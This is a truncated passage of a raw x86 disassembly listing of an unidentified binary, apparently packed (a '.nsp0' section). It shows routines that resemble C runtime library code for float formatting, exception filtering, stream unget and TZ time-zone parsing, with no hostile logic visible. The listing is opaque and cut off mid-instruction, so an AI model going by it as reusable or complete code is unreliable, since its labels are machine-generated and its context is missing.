CODE XREF: sub_41DB76+5Fp ; sub_41DB76+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_41DAC2 endp ; =============== S U B R O U T I N E ======================================= sub_41DACE proc near ; CODE XREF: sub_41DB76+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_41DAD4: ; CODE XREF: sub_41DACE+12j cmp dword ptr [eax], 0 jnz short loc_41DAE6 inc ecx add eax, 4 cmp ecx, 3 jl short loc_41DAD4 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41DAE6: ; CODE XREF: sub_41DACE+9j xor eax, eax retn sub_41DACE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DAE9 proc near ; CODE XREF: sub_41DB76+C0p ; sub_41DB76+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_41DB1F: ; CODE XREF: sub_41DAE9+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_41DB1F mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_41DB51: ; CODE XREF: sub_41DAE9+86j cmp ebx, edi jl short loc_41DB64 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_41DB6B ; --------------------------------------------------------------------------- loc_41DB64: ; CODE XREF: sub_41DAE9+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_41DB6B: ; CODE XREF: sub_41DAE9+79j dec ebx sub ecx, 4 jns short loc_41DB51 pop edi pop esi pop ebx leave retn sub_41DAE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB76 proc near ; CODE XREF: sub_41DCE2+Dp ; sub_41DCF8+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_41DBE3 lea eax, [ebp+var_C] xor esi, esi push eax call sub_41DACE test eax, eax pop ecx jnz loc_41DCA2 lea eax, [ebp+var_C] push eax call sub_41DAC2 pop ecx loc_41DBDB: ; CODE XREF: sub_41DB76+E4j push 2 loc_41DBDD: ; CODE XREF: sub_41DB76+110j pop eax jmp loc_41DCA4 ; --------------------------------------------------------------------------- loc_41DBE3: ; CODE XREF: sub_41DB76+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_41DAA7 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41DA1B add esp, 10h test eax, eax jz short loc_41DC04 inc ebx loc_41DC04: ; CODE XREF: sub_41DB76+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_41DC1C lea eax, [ebp+var_C] push eax call sub_41DAC2 pop ecx jmp short loc_41DC58 ; --------------------------------------------------------------------------- loc_41DC1C: ; CODE XREF: sub_41DB76+98j cmp ebx, eax jg short loc_41DC5F sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_41DAA7 lea eax, [ebp+var_C] push esi push eax call sub_41DAE9 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41DA1B mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_41DAE9 add esp, 20h loc_41DC58: ; CODE XREF: sub_41DB76+A4j xor esi, esi jmp loc_41DBDB ; --------------------------------------------------------------------------- loc_41DC5F: ; CODE XREF: sub_41DB76+A8j cmp ebx, [edi] jl short loc_41DC8B lea eax, [ebp+var_C] push eax call sub_41DAC2 push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_41DAE9 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_41DBDD ; --------------------------------------------------------------------------- loc_41DC8B: ; CODE XREF: sub_41DB76+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_41DAE9 pop ecx pop ecx loc_41DCA2: ; CODE XREF: sub_41DB76+55j xor eax, eax loc_41DCA4: ; CODE XREF: sub_41DB76+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_41DCD3 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_41DCDD ; --------------------------------------------------------------------------- loc_41DCD3: ; CODE XREF: sub_41DB76+14Ej cmp edi, 20h jnz short loc_41DCDD mov ecx, [ebp+arg_4] mov [ecx], esi loc_41DCDD: ; CODE XREF: sub_41DB76+15Bj ; sub_41DB76+160j pop edi pop esi pop ebx leave retn sub_41DB76 endp ; =============== S U B R O U T I N E ======================================= sub_41DCE2 proc near ; CODE XREF: sub_41DD0E+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_438710 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41DB76 add esp, 0Ch retn sub_41DCE2 endp ; =============== S U B R O U T I N E ======================================= sub_41DCF8 proc near ; CODE XREF: sub_41DD3B+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_438728 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41DB76 add esp, 0Ch retn sub_41DCF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD0E proc near ; CODE XREF: sub_419FD8+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41EB33 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41DCE2 add esp, 24h leave retn sub_41DD0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD3B proc near ; CODE XREF: sub_419FD8+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41EB33 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41DCF8 add esp, 24h leave retn sub_41DD3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD68 proc near ; CODE XREF: sub_41A016+65p ; sub_41A11A+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_41DDA5 mov [ebp+arg_0], ebx xor ebx, ebx loc_41DD8B: ; CODE XREF: sub_41DD68+38j mov dl, [ecx] test dl, dl jz short loc_41DD97 movsx edx, dl inc ecx jmp short loc_41DD9A ; --------------------------------------------------------------------------- loc_41DD97: ; CODE XREF: sub_41DD68+27j push 30h pop edx loc_41DD9A: ; CODE XREF: sub_41DD68+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_41DD8B mov edx, [ebp+arg_8] loc_41DDA5: ; CODE XREF: sub_41DD68+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_41DDBE cmp byte ptr [ecx], 35h jl short loc_41DDBE loc_41DDB1: ; CODE XREF: sub_41DD68+52j dec eax cmp byte ptr [eax], 39h jnz short loc_41DDBC mov byte ptr [eax], 30h jmp short loc_41DDB1 ; --------------------------------------------------------------------------- loc_41DDBC: ; CODE XREF: sub_41DD68+4Dj inc byte ptr [eax] loc_41DDBE: ; CODE XREF: sub_41DD68+42j ; sub_41DD68+47j cmp byte ptr [esi], 31h jnz short loc_41DDC8 inc dword ptr [edx+4] jmp short loc_41DDDA ; --------------------------------------------------------------------------- loc_41DDC8: ; CODE XREF: sub_41DD68+59j push edi call sub_415CF0 inc eax push eax push edi push esi call sub_416490 add esp, 10h loc_41DDDA: ; CODE XREF: sub_41DD68+5Ej pop edi pop esi pop ebx pop ebp retn sub_41DD68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DDDF proc near ; CODE XREF: sub_41A016+3Fp ; sub_41A11A+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_41DE43 pop ecx lea esi, [ebp+var_C] pop ecx push offset word_469680 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_41F004 mov dword_4696A8, eax add esp, 18h movsx eax, byte_469682 mov dword_4696A0, eax pop edi movsx eax, word_469680 mov dword_4696A4, eax mov dword_4696AC, offset dword_469684 mov eax, offset dword_4696A0 pop esi leave retn sub_41DDDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DE43 proc near ; CODE XREF: sub_41DDDF+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_41DE91 cmp ebx, edi jz short loc_41DE8A lea edi, [ecx+3C00h] jmp short loc_41DEB2 ; --------------------------------------------------------------------------- loc_41DE8A: ; CODE XREF: sub_41DE43+3Dj mov edi, 7FFFh jmp short loc_41DEB2 ; --------------------------------------------------------------------------- loc_41DE91: ; CODE XREF: sub_41DE43+39j xor ebx, ebx cmp eax, ebx jnz short loc_41DEA9 cmp edx, ebx jnz short loc_41DEA9 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_41DEF4 ; --------------------------------------------------------------------------- loc_41DEA9: ; CODE XREF: sub_41DE43+52j ; sub_41DE43+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_41DEB2: ; CODE XREF: sub_41DE43+45j ; sub_41DE43+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_41DECA: ; CODE XREF: sub_41DE43+A6j test ecx, esi jnz short loc_41DEEB mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_41DECA ; --------------------------------------------------------------------------- loc_41DEEB: ; CODE XREF: sub_41DE43+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_41DEF4: ; CODE XREF: sub_41DE43+64j pop edi pop esi pop ebx leave retn sub_41DE43 endp ; =============== S U B R O U T I N E ======================================= sub_41DEF9 proc near ; CODE XREF: sub_417D4C+3AAp ; sub_417D4C+3CBp ... push 2 call sub_417BEE pop ecx retn sub_41DEF9 endp ; =============== S U B R O U T I N E ======================================= sub_41DF02 proc near ; DATA XREF: sub_41DF48o ; .nsp0:004380E0o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_41DF25 cmp dword ptr [eax+10h], 3 jnz short loc_41DF25 cmp dword ptr [eax+14h], 19930520h jnz short loc_41DF25 jmp sub_41AB9C ; --------------------------------------------------------------------------- loc_41DF25: ; CODE XREF: sub_41DF02+Dj ; sub_41DF02+13j ... mov eax, dword_4696B0 test eax, eax jz short loc_41DF42 push eax call sub_41DF9E test eax, eax pop ecx jz short loc_41DF42 push esi call dword_4696B0 jmp short loc_41DF44 ; --------------------------------------------------------------------------- loc_41DF42: ; CODE XREF: sub_41DF02+2Aj ; sub_41DF02+35j xor eax, eax loc_41DF44: ; CODE XREF: sub_41DF02+3Ej pop esi retn 4 sub_41DF02 endp ; =============== S U B R O U T I N E ======================================= sub_41DF48 proc near ; DATA XREF: .nsp0:00423024o push offset sub_41DF02 call dword_42101C mov dword_4696B0, eax retn sub_41DF48 endp ; =============== S U B R O U T I N E ======================================= sub_41DF59 proc near ; DATA XREF: .nsp0:0042303Co push dword_4696B0 call dword_42101C retn sub_41DF59 endp ; =============== S U B R O U T I N E ======================================= sub_41DF66 proc near ; CODE XREF: sub_41A3EE+6Bp ; sub_41A8FF+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_421018 test eax, eax jz short loc_41DF7E xor esi, esi loc_41DF7E: ; CODE XREF: sub_41DF66+14j mov eax, esi pop esi retn sub_41DF66 endp ; =============== S U B R O U T I N E ======================================= sub_41DF82 proc near ; CODE XREF: sub_41A8FF+73p ; sub_41A8FF+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_421180 test eax, eax jz short loc_41DF9A xor esi, esi loc_41DF9A: ; CODE XREF: sub_41DF82+14j mov eax, esi pop esi retn sub_41DF82 endp ; =============== S U B R O U T I N E ======================================= sub_41DF9E proc near ; CODE XREF: sub_41A8FF+15Bp ; sub_41DF02+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call dword_421014 test eax, eax jz short loc_41DFB2 xor esi, esi loc_41DFB2: ; CODE XREF: sub_41DF9E+10j mov eax, esi pop esi retn sub_41DF9E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41AB9C loc_41DFB6: ; CODE XREF: sub_41AB9C:loc_41ABEDj push 0Ah call sub_41CF19 push 16h call sub_41F297 pop ecx pop ecx push 3 call sub_417838 ; END OF FUNCTION CHUNK FOR sub_41AB9C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFCD proc near ; CODE XREF: sub_41AD3D+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_41DFF0 cmp [ebp+arg_8], ebx jz short loc_41DFF0 mov al, [esi] cmp al, bl jnz short loc_41DFF6 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_41DFF0 mov [eax], bx loc_41DFF0: ; CODE XREF: sub_41DFCD+Cj ; sub_41DFCD+11j ... xor eax, eax loc_41DFF2: ; CODE XREF: sub_41DFCD+42j ; sub_41DFCD+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41DFF6: ; CODE XREF: sub_41DFCD+17j cmp dword_469548, ebx jnz short loc_41E011 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_41E00C movzx ax, al mov [ecx], ax loc_41E00C: ; CODE XREF: sub_41DFCD+36j ; sub_41DFCD+C0j push 1 pop eax jmp short loc_41DFF2 ; --------------------------------------------------------------------------- loc_41E011: ; CODE XREF: sub_41DFCD+2Fj mov ecx, off_437D90 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41E06E mov eax, dword_437F9C cmp eax, 1 jle short loc_41E055 cmp [ebp+arg_8], eax jl short loc_41E05F xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_469558 call dword_421064 test eax, eax mov eax, dword_437F9C jnz short loc_41DFF2 loc_41E055: ; CODE XREF: sub_41DFCD+5Cj cmp [ebp+arg_8], eax jb short loc_41E05F cmp [esi+1], bl jnz short loc_41DFF2 loc_41E05F: ; CODE XREF: sub_41DFCD+61j ; sub_41DFCD+8Bj ... mov dword_4694B4, 2Ah or eax, 0FFFFFFFFh jmp short loc_41DFF2 ; --------------------------------------------------------------------------- loc_41E06E: ; CODE XREF: sub_41DFCD+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_469558 call dword_421064 test eax, eax jnz loc_41E00C jmp short loc_41E05F sub_41DFCD endp ; =============== S U B R O U T I N E ======================================= sub_41E095 proc near ; CODE XREF: sub_41AD3D+76p ; sub_41AD3D+88p ... arg_0 = dword ptr 4 cmp dword_437F9C, 1 jle short loc_41E0AC push 8 push [esp+4+arg_0] call sub_418556 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41E0AC: ; CODE XREF: sub_41E095+7j mov eax, [esp+arg_0] mov ecx, off_437D90 mov al, [ecx+eax*2] and eax, 8 retn sub_41E095 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E0C0 proc near ; CODE XREF: sub_41AD3D+797p ; sub_41AD3D+7E7p cmp cl, 40h jnb short loc_41E0DA cmp cl, 20h jnb short loc_41E0D0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_41E0D0: ; CODE XREF: sub_41E0C0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_41E0DA: ; CODE XREF: sub_41E0C0+3j xor eax, eax xor edx, edx retn sub_41E0C0 endp ; =============== S U B R O U T I N E ======================================= sub_41E0DF proc near ; CODE XREF: sub_41B7B3+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_41E12B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_41E0FD test al, 80h jz short loc_41E12B test al, 2 jnz short loc_41E12B loc_41E0FD: ; CODE XREF: sub_41E0DF+14j cmp dword ptr [esi+8], 0 jnz short loc_41E10A push esi call sub_41D06C pop ecx loc_41E10A: ; CODE XREF: sub_41E0DF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_41E11A cmp dword ptr [esi+4], 0 jnz short loc_41E12B inc eax mov [esi], eax loc_41E11A: ; CODE XREF: sub_41E0DF+30j test byte ptr [esi+0Ch], 40h jz short loc_41E131 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_41E137 inc eax mov [esi], eax loc_41E12B: ; CODE XREF: sub_41E0DF+9j ; sub_41E0DF+18j ... or eax, 0FFFFFFFFh loc_41E12E: ; CODE XREF: sub_41E0DF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41E131: ; CODE XREF: sub_41E0DF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_41E137: ; CODE XREF: sub_41E0DF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_41E12E sub_41E0DF endp ; =============== S U B R O U T I N E ======================================= sub_41E14D proc near ; CODE XREF: sub_41B7EE:loc_41B82Dp cmp dword_469770, 0 jnz short locret_41E161 call sub_41E162 inc dword_469770 locret_41E161: ; CODE XREF: sub_41E14D+7j retn sub_41E14D endp ; =============== S U B R O U T I N E ======================================= sub_41E162 proc near ; CODE XREF: sub_41E14D+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4696B8, ebp mov dword_4387E8, ebx mov dword_4387D8, ebx call sub_41F409 mov esi, eax pop ecx cmp esi, ebp jnz loc_41E28B push offset dword_4696C0 call dword_421158 cmp eax, ebx jz loc_41E3BA mov eax, dword_4696C0 mov ecx, dword_469714 imul eax, 3Ch cmp word_469706, bp push 1 pop edx mov dword_438740, eax mov dword_4696B8, edx jz short loc_41E1D9 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_438740, eax loc_41E1D9: ; CODE XREF: sub_41E162+69j cmp word_46975A, bp jz short loc_41E1FD mov eax, dword_469768 cmp eax, ebp jz short loc_41E1FD sub eax, ecx mov dword_438744, edx imul eax, 3Ch mov dword_438748, eax jmp short loc_41E209 ; --------------------------------------------------------------------------- loc_41E1FD: ; CODE XREF: sub_41E162+7Ej ; sub_41E162+87j mov dword_438744, ebp mov dword_438748, ebp loc_41E209: ; CODE XREF: sub_41E162+99j lea eax, [esp+14h+var_4] mov esi, dword_421138 push eax push ebp push 3Fh mov edi, 220h push off_4387CC push ebx push offset dword_4696C4 push edi push dword_469558 call esi test eax, eax jz short loc_41E246 cmp [esp+14h+var_4], ebp jnz short loc_41E246 mov eax, off_4387CC and byte ptr [eax+3Fh], 0 jmp short loc_41E24E ; --------------------------------------------------------------------------- loc_41E246: ; CODE XREF: sub_41E162+D1j ; sub_41E162+D7j mov eax, off_4387CC and byte ptr [eax], 0 loc_41E24E: ; CODE XREF: sub_41E162+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_4387D0 push ebx push offset dword_469718 push edi push dword_469558 call esi test eax, eax jz loc_41E3B2 cmp [esp+14h+var_4], ebp jnz loc_41E3B2 mov eax, off_4387D0 and byte ptr [eax+3Fh], 0 jmp loc_41E3BA ; --------------------------------------------------------------------------- loc_41E28B: ; CODE XREF: sub_41E162+2Dj cmp byte ptr [esi], 0 jz loc_41E3BA mov eax, dword_46976C cmp eax, ebp jz short loc_41E2AE push eax push esi call sub_415910 pop ecx test eax, eax pop ecx jz loc_41E3BA loc_41E2AE: ; CODE XREF: sub_41E162+139j push dword_46976C call sub_415E3D push esi call sub_415CF0 inc eax push eax call sub_415DC9 add esp, 0Ch cmp eax, ebp mov dword_46976C, eax jz loc_41E3BA push esi push eax call sub_415C00 push 3 push esi push off_4387CC call sub_416D40 mov eax, off_4387CC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_41E303 push 1 inc esi pop edi loc_41E303: ; CODE XREF: sub_41E162+19Bj push esi call sub_4159D4 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_438740, ecx loc_41E31A: ; CODE XREF: sub_41E162+1C7j mov al, [esi] cmp al, 2Bh jz short loc_41E328 cmp al, bl jl short loc_41E32B cmp al, 39h jg short loc_41E32B loc_41E328: ; CODE XREF: sub_41E162+1BCj inc esi jmp short loc_41E31A ; --------------------------------------------------------------------------- loc_41E32B: ; CODE XREF: sub_41E162+1C0j ; sub_41E162+1C4j cmp byte ptr [esi], 3Ah jnz short loc_41E37E inc esi push esi call sub_4159D4 imul eax, 3Ch pop ecx mov ecx, dword_438740 add ecx, eax mov dword_438740, ecx loc_41E349: ; CODE XREF: sub_41E162+1F2j mov al, [esi] cmp al, bl jl short loc_41E356 cmp al, 39h jg short loc_41E356 inc esi jmp short loc_41E349 ; --------------------------------------------------------------------------- loc_41E356: ; CODE XREF: sub_41E162+1EBj ; sub_41E162+1EFj cmp byte ptr [esi], 3Ah jnz short loc_41E37E inc esi push esi call sub_4159D4 pop ecx mov ecx, dword_438740 add ecx, eax mov dword_438740, ecx loc_41E371: ; CODE XREF: sub_41E162+21Aj mov al, [esi] cmp al, bl jl short loc_41E37E cmp al, 39h jg short loc_41E37E inc esi jmp short loc_41E371 ; --------------------------------------------------------------------------- loc_41E37E: ; CODE XREF: sub_41E162+1CCj ; sub_41E162+1F7j ... cmp edi, ebp jz short loc_41E38A neg ecx mov dword_438740, ecx loc_41E38A: ; CODE XREF: sub_41E162+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_438744, eax jz short loc_41E3B2 push 3 push esi push off_4387D0 call sub_416D40 mov eax, off_4387D0 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_41E3BA ; --------------------------------------------------------------------------- loc_41E3B2: ; CODE XREF: sub_41E162+10Bj ; sub_41E162+115j ... mov eax, off_4387D0 and byte ptr [eax], 0 loc_41E3BA: ; CODE XREF: sub_41E162+40j ; sub_41E162+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_41E162 endp ; =============== S U B R O U T I N E ======================================= sub_41E3C0 proc near ; CODE XREF: sub_41B7EE+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_438744, edi jnz short loc_41E3D4 loc_41E3CD: ; CODE XREF: sub_41E3C0+148j ; sub_41E3C0+150j ... xor eax, eax jmp loc_41E520 ; --------------------------------------------------------------------------- loc_41E3D4: ; CODE XREF: sub_41E3C0+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_4387D8 jnz short loc_41E3F2 cmp eax, dword_4387E8 jz loc_41E4F4 loc_41E3F2: ; CODE XREF: sub_41E3C0+24j cmp dword_4696B8, edi jz loc_41E4CA movzx ecx, word_469766 push ecx cmp word_469758, di movzx ecx, word_469764 push ecx movzx ecx, word_469762 push ecx movzx ecx, word_469760 push ecx jnz short loc_41E444 movzx ecx, word_46975C push edi push ecx movzx ecx, word_46975E push ecx movzx ecx, word_46975A push ecx push eax push ebx jmp short loc_41E458 ; --------------------------------------------------------------------------- loc_41E444: ; CODE XREF: sub_41E3C0+65j movzx ecx, word_46975E push ecx push edi movzx ecx, word_46975A push edi push ecx push eax push edi loc_41E458: ; CODE XREF: sub_41E3C0+82j push ebx call sub_41E56C movzx eax, word_469712 add esp, 2Ch cmp word_469704, di push eax movzx eax, word_469710 push eax movzx eax, word_46970E push eax movzx eax, word_46970C push eax jnz short loc_41E4B2 movzx eax, word_469708 push edi push eax movzx eax, word_46970A push eax movzx eax, word_469706 push eax push dword ptr [esi+14h] push ebx loc_41E4A7: ; CODE XREF: sub_41E3C0+108j push edi call sub_41E56C add esp, 2Ch jmp short loc_41E4F4 ; --------------------------------------------------------------------------- loc_41E4B2: ; CODE XREF: sub_41E3C0+C8j movzx eax, word_46970A push eax push edi movzx eax, word_469706 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_41E4A7 ; --------------------------------------------------------------------------- loc_41E4CA: ; CODE XREF: sub_41E3C0+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_41E56C push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_41E56C add esp, 58h loc_41E4F4: ; CODE XREF: sub_41E3C0+2Cj ; sub_41E3C0+F0j mov edx, dword_4387DC mov eax, dword_4387EC mov ecx, [esi+1Ch] cmp edx, eax jge short loc_41E524 cmp ecx, edx jl loc_41E3CD cmp ecx, eax jg loc_41E3CD cmp ecx, edx jle short loc_41E538 cmp ecx, eax jge short loc_41E538 loc_41E51E: ; CODE XREF: sub_41E3C0+166j ; sub_41E3C0+16Aj mov eax, ebx loc_41E520: ; CODE XREF: sub_41E3C0+Fj ; sub_41E3C0+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41E524: ; CODE XREF: sub_41E3C0+144j cmp ecx, eax jl short loc_41E51E cmp ecx, edx jg short loc_41E51E cmp ecx, eax jle short loc_41E538 cmp ecx, edx jl loc_41E3CD loc_41E538: ; CODE XREF: sub_41E3C0+158j ; sub_41E3C0+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_41E55F xor ecx, ecx cmp eax, dword_4387E0 setnl cl loc_41E55B: ; CODE XREF: sub_41E3C0+1AAj mov eax, ecx jmp short loc_41E520 ; --------------------------------------------------------------------------- loc_41E55F: ; CODE XREF: sub_41E3C0+18Ej xor ecx, ecx cmp eax, dword_4387F0 setl cl jmp short loc_41E55B sub_41E3C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E56C proc near ; CODE XREF: sub_41E3C0+99p ; sub_41E3C0+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_41E607 mov eax, [ebp+arg_C] mov 